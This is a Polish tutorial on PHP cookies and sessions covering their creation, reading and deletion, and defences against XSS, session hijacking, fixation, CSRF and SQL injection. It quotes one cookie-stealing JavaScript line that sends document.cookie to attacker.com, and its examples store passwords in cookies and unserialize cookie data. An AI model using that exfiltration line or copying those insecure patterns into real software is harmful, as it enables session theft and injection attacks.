<h2 class="wp-block-heading"><em>Tworzenie ciasteczek</em></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
setcookie(
    string $name,              // Nazwa ciasteczka
    string $value = "",        // Wartość (domyślnie pusta)
    int $expires_or_options,   // Czas wygaśnięcia lub tablica opcji (PHP 7.3+)
    string $path = "",         // Ścieżka (domyślnie: /)
    string $domain = "",       // Domena
    bool $secure = false,      // Tylko HTTPS?
    bool $httponly = false     // Niedostępne dla JavaScript?
);</code></pre>



<p class="wp-block-paragraph">Ciasteczka są wymieniane przy przesyłaniu nagłówków HTTP, zanim strona WWW zostanie załadowana, po załadowaniu strony wysłanie ciasteczka jest niemożliwe. Należy zatem umiejętnie zaplanować wysyłanie ciasteczek. Kod wysyłający ciasteczko musi znajdować się jako pierwszy, zanim jakakolwiek informacja zostanie przesłana.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// DOBRZE - setcookie() przed jakimkolwiek outputem
setcookie('username', 'Jan', time() + 3600);
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html&gt;
...

&lt;?php
// ŹLE - po HTML już nie zadziała!
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;?php
setcookie('username', 'Jan', time() + 3600); // Błąd: "Headers already sent"</code></pre>



<p class="wp-block-paragraph">Wyślemy ciasteczko o nazwie „login” i wartości „JohnSmith”
oraz „pass” o wartości „admin”. Ustawimy żywotność ciasteczka na 60 sekund. Do
ustawienia ciasteczka wykorzystujemy funkcję setcookie($nazwa, $wartosc, $czas),
która posiada wiele argumentów, ale najczęściej wykorzystuje się 3 pierwsze (więcej
informacji o setcookie() na stronie <a href="http://php.net/">dokumentacji</a>)</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php<br />// utworzenie ciasteczek<br />setcookie("login", "JohnSmith", time()+60);<br />setcookie("pass", "admin", time()+60);<br />?&gt;</code></pre>



<h4 class="wp-block-heading">Ciasteczka jako tablice</h4>



<p class="wp-block-paragraph">Jeśli chcesz przypisać wiele wartości do jednego ciasteczka, możesz po prostu złączyć je w tablicę. Na przykład:</p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />setcookie("logowanie[login]", "JohnSmith", time()+60);<br />setcookie("logowanie[pass]", "admin", time()+60);<br /><br />// To utworzy dwa osobne ciasteczka, ale w PHP będą dostępne jako tablica:<br />// $_COOKIE['logowanie']['login']<br />// $_COOKIE['logowanie']['pass']<br /><br />// Sposób 2: Jedno ciasteczko z serializowaną tablicą<br />$dane = [<br />    'login' =&gt; 'JohnSmith',<br />    'pass' =&gt; 'admin',<br />    'role' =&gt; 'admin'<br />];<br /><br />// Opcja A: JSON (zalecane - czytelne i uniwersalne)<br />setcookie("user_data", json_encode($dane), time() + 3600);<br /><br />// Odczyt JSON:<br />if (isset($_COOKIE['user_data'])) {<br />    $userData = json_decode($_COOKIE['user_data'], true);<br />    echo $userData['login']; // JohnSmith<br />}<br /><br />// Opcja B: serialize() (tylko PHP)<br />setcookie("user_data", serialize($dane), time() + 3600);<br /><br />// Odczyt serialize:<br />if (isset($_COOKIE['user_data'])) {<br />    $userData = unserialize($_COOKIE['user_data']);<br />    echo $userData['login'];<br />}<br />?&gt;</pre>



<p class="wp-block-paragraph">Spowoduje to stworzenie dwóch oddzielnych ciasteczek, mimo, iż „logowanie” będzie teraz pojedynczą tablicą w twoim skrypcie. Jeśli chcesz ustawić tylko jedno ciasteczko z wieloma wartościami, rozważ możliwość użycia przedtem funkcji serialize() lub explode() na wartości.</p>



<h4 class="wp-block-heading">Licznik w ciasteczkach</h4>



<p class="wp-block-paragraph">Możesz pominąć trzeci parametr (expires) &#8211; ciasteczko będzie ważne do zamknięcia przeglądarki (przyjmie wartość 0).</p>



<p class="wp-block-paragraph">Jeżeli nazwy ciasteczek są takie same, ich wartości zostaną nadpisane (o ile ścieżka lub domena nie są różne).</p>



<p class="wp-block-paragraph">Przykład: Licznik wizyt w koszyku zakupów</p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />// Sprawdź czy licznik istnieje<br />if (isset($_COOKIE['ile'])) {<br />    $ile = $_COOKIE['ile'] + 1;  // Zwiększ<br />} else {<br />    $ile = 1;  // Pierwsza wizyta<br />}<br /><br />// Zapisz nową wartość (ważność: 1 godzina)<br />setcookie('ile', $ile, time() + 3600);<br /><br />echo "Liczba produktów w koszyku: $ile";</pre>



<h3 class="wp-block-heading">Więcej przykładów</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// 1. Ciasteczko na 1 godzinę
setcookie("user_id", "12345", time() + 3600);

// 2. Ciasteczko na 30 dni
setcookie("theme", "dark", time() + (30 * 24 * 60 * 60));

// 3. Ciasteczko sesyjne (do zamknięcia przeglądarki)
setcookie("temp_data", "wartość");
// lub jawnie:
setcookie("temp_data", "wartość", 0);

// 4. Ciasteczko z pełnymi opcjami bezpieczeństwa
setcookie(
    "secure_token",
    "abc123xyz",
    time() + 3600,
    "/",           // Dostępne na całej stronie
    "",            // Dla bieżącej domeny
    true,          // Tylko przez HTTPS
    true           // Niedostępne dla JavaScript (ochrona przed XSS)
);</code></pre>



<h2 class="wp-block-heading"><em>Odczytywanie ciasteczek</em></h2>



<p class="wp-block-paragraph">Tworzone ciasteczka są automatycznie zapisywane w tablicy <strong>superglobalnej $_COOKIE </strong>(analogicznie do poznanych już tablic $_POST i $_GET), którą możemy przeglądać i operować danymi w niej zapisanymi.</p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />// Sprawdź czy ciasteczko istnieje<br />if (isset($_COOKIE['login']) &amp;&amp; isset($_COOKIE['pass'])) {<br />    echo "Dane logowania kompletne";<br />    echo "Login: " . $_COOKIE['login'];<br />} else {<br />    echo "Brak ciasteczka z danymi logowania";<br />}<br /><br />// Odczyt z wartością domyślną (PHP 7+)<br />$username = $_COOKIE['username'] ?? 'Gość';<br /><br />// Bezpieczny odczyt (z walidacją)<br />$userId = filter_var($_COOKIE['user_id'] ?? 0, FILTER_VALIDATE_INT);</pre>



<p class="wp-block-paragraph">Możemy wyświetlić całą tablicę przy pomocy funkcji print_r:</p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />echo '&lt;pre&gt;';<br />print_r($_COOKIE);<br />echo '&lt;/pre&gt;';<br /><br />/*<br />Array<br />(<br />    [login] =&gt; JohnSmith<br />    [pass] =&gt; admin<br />    [theme] =&gt; dark<br />    [PHPSESSID] =&gt; abc123def456<br />)<br />*/</pre>



<h2 class="wp-block-heading"><em>Usuwanie ciastek</em></h2>



<p class="wp-block-paragraph">Aby usunąć ciasteczko, należy ustawić dla niego ujemną wartość czasową (czas w przeszłości). Zamiast dodawać do funkcji time() czas przez jaki ma być ważne, po prostu go odejmujemy.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Sposób 1: Odejmij czas
setcookie('uzytkownik', "Ala", time() - 3600);

// Sposób 2: Ustaw na 1 (1 stycznia 1970)
setcookie('uzytkownik', '', 1);

// Sposób 3: Pusta wartość i czas w przeszłości
setcookie('uzytkownik', '', time() - 3600);</code></pre>



<p class="wp-block-paragraph">&nbsp;Powyższy kod usunie ciastko uzytkownik utworzone w ostatniej godzinie.</p>



<p>Usuń wszystkie ciasteczka:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
foreach ($_COOKIE as $name =&gt; $value) {
    setcookie($name, '', time() - 3600, '/');
}</code></pre>



<p class="wp-block-paragraph">Uwaga: Musisz podać te same parametry (path, domain) co przy tworzeniu, aby poprawnie usunąć cookie.</p>



<h3 class="wp-block-heading">Przykład: Powitanie użytkownika</h3>



<p class="wp-block-paragraph">W oparciu o mechanizm ciasteczek skrypt wypisuje na stronie komunikaty:</p>



<p class="wp-block-paragraph">‒ Gdy odwiedzający wejdzie na stronę pierwszy raz zakładane jest ciasteczko z czasem trwania 2 godziny od utworzenia oraz wyświetlany jest w paragrafie, czcionką pogrubioną, komunikat: „Dzień dobry! Strona lotniska używa ciasteczek”</p>



<p class="wp-block-paragraph">‒ Jeżeli odwiedzający w ciągu 2 godzin od poprzedniego wejścia wejdzie ponownie na stronę wyświetlany jest w paragrafie, czcionką pochyloną, komunikat „Witaj ponownie na stronie lotniska”</p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />// Sprawdź czy użytkownik był już na stronie<br />if (isset($_COOKIE['start'])) {<br />    $msg = "&lt;p&gt;&lt;i&gt;Witaj ponownie na stronie lotniska&lt;/i&gt;&lt;/p&gt;";<br />} else {<br />    // Pierwsza wizyta - utwórz cookie na 2 godziny<br />    setcookie('start', 'start', time() + 2 * 60 * 60);<br />    $msg = "&lt;p&gt;&lt;b&gt;Dzień dobry! Strona lotniska używa ciasteczek&lt;/b&gt;&lt;/p&gt;";<br />}<br />?&gt;<br />&lt;!DOCTYPE html&gt;<br />&lt;html lang="pl"&gt;<br />&lt;head&gt;<br />    &lt;meta charset="UTF-8"&gt;<br />    &lt;title&gt;Lotnisko&lt;/title&gt;<br />&lt;/head&gt;<br />&lt;body&gt;<br />    &lt;?= $msg ?&gt;<br />    <br />    &lt;h1&gt;Witamy na stronie lotniska&lt;/h1&gt;<br />    &lt;p&gt;Tutaj znajduje się główna treść strony...&lt;/p&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;</pre>



<h2 id="block-32bdfb48-a37e-44eb-997c-d6dba6e1110f" class="wp-block-heading"><em>Sesje – Session</em></h2>



<p class="wp-block-paragraph"><em>Sesje</em> lub inaczej <em>kontrola sesji</em> pozwala na zapamiętanie użytkownika, jego preferencji i upoważnień na stronie np. w przypadku korzystania z koszyka zakupów, mechanizmu logowania itp. Przechodzenie pomiędzy stronami nie skutkuje wówczas koniecznością ponownego logowania się na stronie.</p>



<p class="wp-block-paragraph">Typowe zastosowania:</p>



<ul class="wp-block-list">
<li>Systemy logowania</li>



<li>Koszyki zakupowe</li>



<li>Wieloetapowe formularze</li>



<li>Gry (zapamiętanie punktów, postępu)</li>



<li>Panele administracyjne</li>
</ul>



<h3 class="wp-block-heading">Jak działają sesje?</h3>



<p class="wp-block-paragraph">Sesja tworzona jest w postaci unikalnego identyfikatora tzw. SID (Session ID). Taki identyfikator przechowywany jest w pliku cookie po stronie klienta (nazwa: PHPSESSID) lub przekazywany za pomocą adresu URL.</p>



<p class="wp-block-paragraph">Zmienne przechowywane są po stronie serwera (w plikach lub bazie danych), a użytkownik ma tylko id sesji.</p>



<p class="wp-block-paragraph">Wszelkie dane jakie chcemy przekazywać pomiędzy stronami zostają zapisane w <strong>tablicy superglobalnej $_SESSION.</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Krok po kroku:

1. Użytkownik wchodzi na stronę
   └─ session_start()
      └─ PHP generuje SID: "abc123def456..."
         └─ Cookie PHPSESSID = "abc123def456"
            └─ Plik na serwerze: sess_abc123def456
               (zawiera dane $_SESSION)

2. Użytkownik przechodzi na inną stronę
   └─ session_start()
      └─ PHP odczytuje SID z cookie
         └─ Wczytuje dane z pliku sess_abc123def456
            └─ $_SESSION zawiera wszystkie dane</code></pre>



<p class="wp-block-paragraph">&nbsp;</p>



<h2 class="wp-block-heading"><em>Etapy tworzenia sesji</em></h2>



<ol class="wp-block-list">
<li>Rozpoczynanie sesji</li>



<li>Tworzenie zmiennych sesyjnych</li>



<li>Praca na zmiennych sesyjnych</li>



<li>Usuwanie zmiennych i niszczenie sesji</li>
</ol>



<p class="wp-block-paragraph">&nbsp;</p>



<h2 class="wp-block-heading"><em>Rozpoczynanie sesji</em></h2>



<p class="wp-block-paragraph">Aby rozpocząć sesję lub móc korzystać z danych z istniejącej sesji, <strong><em>na początku każdego skryptu</em></strong> należy wywołać funkcję:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();</code></pre>



<p class="wp-block-paragraph">Co robi session_start():</p>



<ul class="wp-block-list">
<li>Jeżeli SID sesji nie istnieje, zostanie on utworzony</li>



<li>Jeżeli SID istnieje, funkcja pobierze wartości wszystkich zmiennych obecnej sesji</li>
</ul>



<p class="wp-block-paragraph">Kluczowa zasada: session_start() musi być pierwszą instrukcją w pliku (przed HTML, echo, spacjami).</p>



<pre class="wp-block-preformatted prettyprint">&lt;?php<br />session_start();<br /><br />echo "&lt;pre&gt;";<br />print_r($_SESSION);<br />echo "&lt;/pre&gt;";<br /><br />// Na początku tablica będzie pusta:<br />// Array ( )<br /><br />// Zobaczymy, że tablica superglobalna SESSION zaistniała</pre>



<h2 class="wp-block-heading"><em>Tworzenie zmiennych sesyjnych</em></h2>



<p class="wp-block-paragraph">Zmienną sesyjną tworzymy wpisując do tablicy $_SESSION kolejny element np.</p>



<p class="wp-block-paragraph">$_SESSION[’zm_sesyjna_1′]=”Ja”;</p>



<pre id="block-3b871bca-799e-48d0-834c-0289dd13eb33" class="wp-block-preformatted prettyprint">&lt;?php<br />session_start();<br /><br />// Utwórz zmienne sesyjne<br />$_SESSION['zm_sesyjna_1'] = "Ja";  // tworzymy zmienną sesyjną<br />$_SESSION['user_id'] = 123;<br />$_SESSION['username'] = "Jan Kowalski";<br />$_SESSION['is_logged_in'] = true;<br />$_SESSION['login_time'] = time();<br /><br />echo "&lt;pre&gt;";<br />print_r($_SESSION);<br />echo "&lt;/pre&gt;";<br /><br />/*<br />Array (<br />    [zm_sesyjna_1] =&gt; Ja<br />    [user_id] =&gt; 123<br />    [username] =&gt; Jan Kowalski<br />    [is_logged_in] =&gt; 1<br />    [login_time] =&gt; 1735689234<br />)<br />*/</pre>



<p class="wp-block-paragraph">Jak długo żyją zmienne sesyjne?</p>



<p>Tak zadeklarowana zmienna będzie pamiętana tak długo, jak jest to ustawione w pliku php.ini (tą wartość można zmieniać ręcznie w pliku):</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">; After this number of seconds, stored data will be seen as 'garbage' and
; cleaned up by the garbage collection process.
; http://php.net/session.gc-maxlifetime
session.gc_maxlifetime=1440</code></pre>



<p class="wp-block-paragraph">lub dopóki nie zostanie usunięta ręcznie (jak to zrobić opisałam niżej).</p>



<h2 class="wp-block-heading"><em>Praca na zmiennych sesyjnych</em></h2>



<p class="wp-block-paragraph">Zmienne sesyjne stosujemy jak wcześniej omawiane zmienne tablicowe.</p>



<p class="wp-block-paragraph">Zanim rozpoczniemy używanie zmiennych należy sprawdzić, czy istnieją te zmienne:</p>



<pre id="block-9ca36cba-4908-4c75-a4ce-10105f0713f1" class="wp-block-preformatted prettyprint">&lt;?php<br />session_start();<br /><br />// Przypisz zmienną sesyjną do innej zmiennej - tak też można<br />$zm_s_1 = $_SESSION['zm_sesyjna_1'] = "Ja";<br /><br />// Sprawdź czy zmienna istnieje<br />if (isset($zm_s_1)) {<br />    echo "&lt;pre&gt;";<br />    print_r($_SESSION);<br />    echo "&lt;/pre&gt;";<br />} else {<br />    echo "Nie ma zmiennych sesyjnych";<br />}<br /><br />// Odczyt z wartością domyślną<br />$username = $_SESSION['username'] ?? 'Gość';<br /><br />// Modyfikacja<br />if (isset($_SESSION['counter'])) {<br />    $_SESSION['counter']++;<br />} else {<br />    $_SESSION['counter'] = 1;<br />}<br /><br />// Dodawanie do tablicy sesyjnej<br />$_SESSION['cart'][] = ['product_id' =&gt; 5, 'name' =&gt; 'Laptop'];</pre>



<h2 class="wp-block-heading"><em>Usuwanie zmiennych i niszczenie sesji</em></h2>



<p class="wp-block-paragraph">W celu <strong>usunięcia zmiennej sesyjnej</strong> stosujemy:</p>



<pre id="block-7dc627eb-f6b0-4887-9739-bc99d3cc9ed7" class="wp-block-code"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Usuń pojedynczą zmienną
unset($_SESSION&#91;'zm_sesyjna_1']);

// lub
unset($zm_s_1);</code></pre>



<p class="wp-block-paragraph">Gdy chcemy usunąć wszystkie zmienne na raz:</p>



<pre id="block-7dc627eb-f6b0-4887-9739-bc99d3cc9ed7" class="wp-block-code"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Nadpisz istniejącą tablicę nową pustą tablicą
$_SESSION = array();
// lub krócej:
$_SESSION = &#91;];</code></pre>



<p class="wp-block-paragraph">Jeżeli sesja nie jest już potrzebna, np. klient wyloguje się z aplikacji, możemy zniszczyć sesję:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// 1. Usuń wszystkie zmienne
$_SESSION = &#91;];

// 2. Usuń cookie z SID
if (isset($_COOKIE&#91;session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

// 3. Zniszcz sesję na serwerze
session_destroy();</code></pre>



<h3 class="wp-block-heading">Ważna uwaga o tworzeniu sesji</h3>



<p class="wp-block-paragraph">Podczas pracy z sesjami należy pamiętać, że rekord sesji nie jest tworzony, dopóki zmienna nie zostanie zarejestrowana przy użyciu funkcji session_register() (przestarzałe w nowszych wersjach PHP) lub przez dodanie nowego klucza do tablicy superglobalnej $_SESSION.</p>



<p class="wp-block-paragraph">Dzieje się tak niezależnie od tego, czy sesja została uruchomiona przy użyciu funkcji session_start().</p>



<p class="wp-block-paragraph">Przykład:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();  // Rozpoczęto sesję, ale...

// ... plik sesji na serwerze NIE ZOSTANIE utworzony dopóki nie zapiszesz czegoś:
$_SESSION&#91;'cokolwiek'] = 'wartość';  // TERAZ plik sesji się utworzy</code></pre>



<h2 class="wp-block-heading">Cookies vs Sesje&nbsp;</h2>



<p class="wp-block-paragraph">&nbsp;</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Aspekt</th><th>Cookies</th><th>Sesje</th></tr></thead><tbody><tr><td>Miejsce przechowywania</td><td>Klient (przeglądarka)</td><td>Serwer (pliki/baza)</td></tr><tr><td>Pojemność</td><td>około 4 KB</td><td>około 128 MB (konfigurowalny)</td></tr><tr><td>Bezpieczeństwo danych</td><td>Niskie &#8211; widoczne dla użytkownika</td><td>Wysokie &#8211; niewidoczne</td></tr><tr><td>Dostęp przez JavaScript</td><td>Tak (chyba że httponly=true)</td><td>Nie (tylko PHP)</td></tr><tr><td>Czas życia</td><td>Do wygaśnięcia lub usunięcia</td><td>Do zamknięcia przeglądarki lub timeout</td></tr><tr><td>Wymagania</td><td>Użytkownik musi mieć włączone</td><td>Wymaga session_start()</td></tr><tr><td>Użytkownik może</td><td>Wyłączyć, zobaczyć, edytować, usunąć</td><td>Tylko pośrednio (usunąć cookie z SID)</td></tr><tr><td>Szybkość</td><td>Szybkie (lokalne)</td><td>Wolniejsze (I/O serwera)</td></tr><tr><td>Obciążenie serwera</td><td>Brak</td><td>Średnie</td></tr><tr><td>Zastosowania</td><td>Preferencje, tracking, &#8222;Zapamiętaj mnie&#8221;</td><td>Logowanie, koszyk, dane wrażliwe</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Kiedy używać Cookies?</h3>



<p class="wp-block-paragraph">Preferencje użytkownika &#8211; język, motyw, rozmiar czcionki<br />&#8222;Nie pokazuj więcej&#8221; &#8211; zamknięte bannery, popupy<br />Tracking i analityka &#8211; Google Analytics, statystyki<br />&#8222;Zapamiętaj mnie&#8221; &#8211; automatyczne logowanie po 30 dniach<br />Dane nielokalne &#8211; muszą być dostępne między sesjami</p>



<h3 class="wp-block-heading">Kiedy używać Sesji?</h3>



<p class="wp-block-paragraph">Logowanie użytkowników &#8211; ID, rola, uprawnienia<br />Koszyki zakupowe &#8211; produkty, ilości, ceny<br />Wieloetapowe formularze &#8211; dane między krokami<br />Dane wrażliwe &#8211; nie mogą być widoczne dla użytkownika<br />Dane tymczasowe &#8211; potrzebne tylko podczas przeglądania<br />Panele administracyjne &#8211; uprawnienia, filtry, ustawienia</p>



<h3 class="wp-block-heading">Połączenie Cookies i Sesji</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Sesja - dla danych wrażliwych (ID, uprawnienia)
$_SESSION&#91;'user_id'] = 123;
$_SESSION&#91;'role'] = 'admin';

// Cookie - dla preferencji (język, motyw)
setcookie('language', 'pl', time() + (365 * 24 * 60 * 60));
setcookie('theme', 'dark', time() + (365 * 24 * 60 * 60));

// Cookie - dla "Zapamiętaj mnie"
if (isset($_POST&#91;'remember_me'])) {
    $token = bin2hex(random_bytes(32));
    setcookie('remember_token', $token, time() + (30 * 24 * 60 * 60), '/', '', true, true);
    
    // Zapisz token w bazie danych powiązany z user_id
    // saveRememberToken($_SESSION&#91;'user_id'], $token);
}</code></pre>



<h2 class="wp-block-heading">Bezpieczeństwo</h2>



<h3 class="wp-block-heading">1. Zabezpieczanie Cookies</h3>



<p class="wp-block-paragraph">Problem: XSS (Cross-Site Scripting)</p>



<p class="wp-block-paragraph">Jeśli cookie jest dostępne dla JavaScript, atakujący może je ukraść:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// Złośliwy kod JS:
document.location = 'https://attacker.com/steal.php?cookie=' + document.cookie;</code></pre>



<p class="wp-block-paragraph">Rozwiązanie: httponly flag</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// DOBRZE - cookie tylko przez HTTPS
setcookie(
    'secure_token',
    $token,
    time() + 3600,
    '/',
    '',
    true,   // secure = true (tylko HTTPS)
    true    // httponly = true
);</code></pre>



<p class="wp-block-paragraph">Problem: Man-in-the-Middle (przechwycenie przy HTTP)</p>



<p class="wp-block-paragraph">Cookie może zostać przechwycone podczas transmisji przez niezabezpieczone połączenie.</p>



<p class="wp-block-paragraph">Rozwiązanie: secure flag</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// DOBRZE - cookie tylko przez HTTPS
setcookie(
    'secure_token',
    $token,
    time() + 3600,
    '/',
    '',
    true,   // secure = true (tylko HTTPS)
    true    // httponly = true
);</code></pre>



<p class="wp-block-paragraph">PHP 7.3+ &#8211; tablica opcji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
setcookie('token', $value, &#91;
    'expires' =&gt; time() + 3600,
    'path' =&gt; '/',
    'domain' =&gt; '',
    'secure' =&gt; true,
    'httponly' =&gt; true,
    'samesite' =&gt; 'Strict'  // Ochrona przed CSRF
]);</code></pre>



<p class="wp-block-paragraph">SameSite opcje:</p>



<ul class="wp-block-list">
<li>Strict &#8211; cookie nigdy nie jest wysyłane między stronami</li>



<li>Lax &#8211; cookie wysyłane tylko przy &#8222;bezpiecznych&#8221; żądaniach (GET)</li>



<li>None &#8211; cookie zawsze wysyłane (wymaga secure=true)</li>
</ul>



<h3 class="wp-block-heading">2. Session Hijacking &#8211; kradzież sesji</h3>



<p class="wp-block-paragraph">Problem:</p>



<p class="wp-block-paragraph">Atakujący kradnie SID (np. przez XSS lub przechwycenie) i podszywa się pod użytkownika.</p>



<p class="wp-block-paragraph">Rozwiązanie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// 1. Regeneruj ID sesji po logowaniu
if ($loginSuccess) {
    session_regenerate_id(true);  // Stary SID zostanie usunięty
    $_SESSION&#91;'user_id'] = $userId;
}

// 2. Przechowuj i sprawdzaj IP oraz User Agent
if (!isset($_SESSION&#91;'user_ip'])) {
    $_SESSION&#91;'user_ip'] = $_SERVER&#91;'REMOTE_ADDR'];
    $_SESSION&#91;'user_agent'] = $_SERVER&#91;'HTTP_USER_AGENT'];
} else {
    // Sprawdź czy IP i User Agent się zgadzają
    if ($_SESSION&#91;'user_ip'] !== $_SERVER&#91;'REMOTE_ADDR'] ||
        $_SESSION&#91;'user_agent'] !== $_SERVER&#91;'HTTP_USER_AGENT']) {
        // Podejrzana aktywność - wyloguj
        session_destroy();
        die('Sesja została zakończona ze względów bezpieczeństwa');
    }
}

// 3. Przechowuj czas ostatniej aktywności (timeout)
$timeout = 1800; // 30 minut

if (isset($_SESSION&#91;'last_activity'])) {
    if (time() - $_SESSION&#91;'last_activity'] &gt; $timeout) {
        session_destroy();
        header('Location: login.php?timeout=1');
        exit;
    }
}

$_SESSION&#91;'last_activity'] = time();</code></pre>



<h3 class="wp-block-heading">3. Session Fixation</h3>



<p class="wp-block-paragraph">Problem:</p>



<p class="wp-block-paragraph">Atakujący ustawia znany mu SID przed logowaniem użytkownika, dzięki czemu po zalogowaniu ma dostęp do sesji.</p>



<p class="wp-block-paragraph">Rozwiązanie:</p>



<p class="wp-block-paragraph">&nbsp;</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// ZAWSZE regeneruj ID po logowaniu
if ($loginSuccess) {
    session_regenerate_id(true);  // Ważne: true = usuń stary plik sesji
    $_SESSION&#91;'user_id'] = $userId;
    $_SESSION&#91;'logged_in'] = true;
}</code></pre>



<h3 class="wp-block-heading">4. CSRF (Cross-Site Request Forgery)</h3>



<p class="wp-block-paragraph">Problem:</p>



<p class="wp-block-paragraph">Atakujący zmusza przeglądarkę użytkownika do wykonania niepożądanego żądania.</p>



<p class="wp-block-paragraph">Rozwiązanie: Token CSRF</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Generuj token przy wyświetlaniu formularza
if (empty($_SESSION&#91;'csrf_token'])) {
    $_SESSION&#91;'csrf_token'] = bin2hex(random_bytes(32));
}
?&gt;

&lt;!-- W formularzu --&gt;
&lt;form method="POST"&gt;
    &lt;input type="hidden" name="csrf_token" value="&lt;?= $_SESSION&#91;'csrf_token'] ?&gt;"&gt;
    &lt;!-- ... reszta pól ... --&gt;
&lt;/form&gt;

&lt;?php
// Sprawdź token przy odbiorze
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST&#91;'csrf_token']) || 
        !hash_equals($_SESSION&#91;'csrf_token'], $_POST&#91;'csrf_token'])) {
        die('Nieprawidłowy token CSRF');
    }
    
    // Przetwórz formularz...
}</code></pre>



<p class="wp-block-paragraph">Funkcja hash_equals() zapobiega timing attacks.</p>



<h3 class="wp-block-heading">5. Nigdy nie ufaj danym z Cookies</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// BARDZO ŹLE - SQL Injection!
$userId = $_COOKIE&#91;'user_id'];
$query = "SELECT * FROM users WHERE id = $userId";

// ŹLE - brak walidacji
$role = $_COOKIE&#91;'role'];
if ($role === 'admin') {
    // Daj dostęp do panelu admina
}

// DOBRZE - walidacja + prepared statements
$userId = filter_var($_COOKIE&#91;'user_id'] ?? 0, FILTER_VALIDATE_INT);

if ($userId) {
    $stmt = $pdo-&gt;prepare("SELECT * FROM users WHERE id = ?");
    $stmt-&gt;execute(&#91;$userId]);
    $user = $stmt-&gt;fetch();
    
    // Sprawdź rolę z bazy, nie z cookie!
    if ($user &amp;&amp; $user&#91;'role'] === 'admin') {
        // Daj dostęp
    }
}</code></pre>



<h2 class="wp-block-heading">PHP 8 &#8211; nowości</h2>



<h3 class="wp-block-heading">1. Named arguments w setcookie()</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// PHP 7 i wcześniej - musiałeś podać wszystkie parametry
setcookie('token', $value, time() + 3600, '/', '', true, true);

// PHP 8 - named arguments
setcookie(
    name: 'token',
    value: $value,
    expires_or_options: time() + 3600,
    httponly: true,
    secure: true
);

// Możesz pominąć środkowe parametry
setcookie(
    name: 'theme',
    value: 'dark',
    expires_or_options: time() + (365 * 24 * 60 * 60),
    httponly: true  // Pominęliśmy path, domain, secure
);</code></pre>



<h3 class="wp-block-heading">2. Match expression (zamiast switch)</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// PHP 7 - switch
$role = $_SESSION&#91;'role'] ?? 'guest';

switch ($role) {
    case 'admin':
        $permissions = &#91;'read', 'write', 'delete'];
        break;
    case 'editor':
        $permissions = &#91;'read', 'write'];
        break;
    case 'user':
        $permissions = &#91;'read'];
        break;
    default:
        $permissions = &#91;];
}

// PHP 8 - match (zwięzłe i bezpieczniejsze)
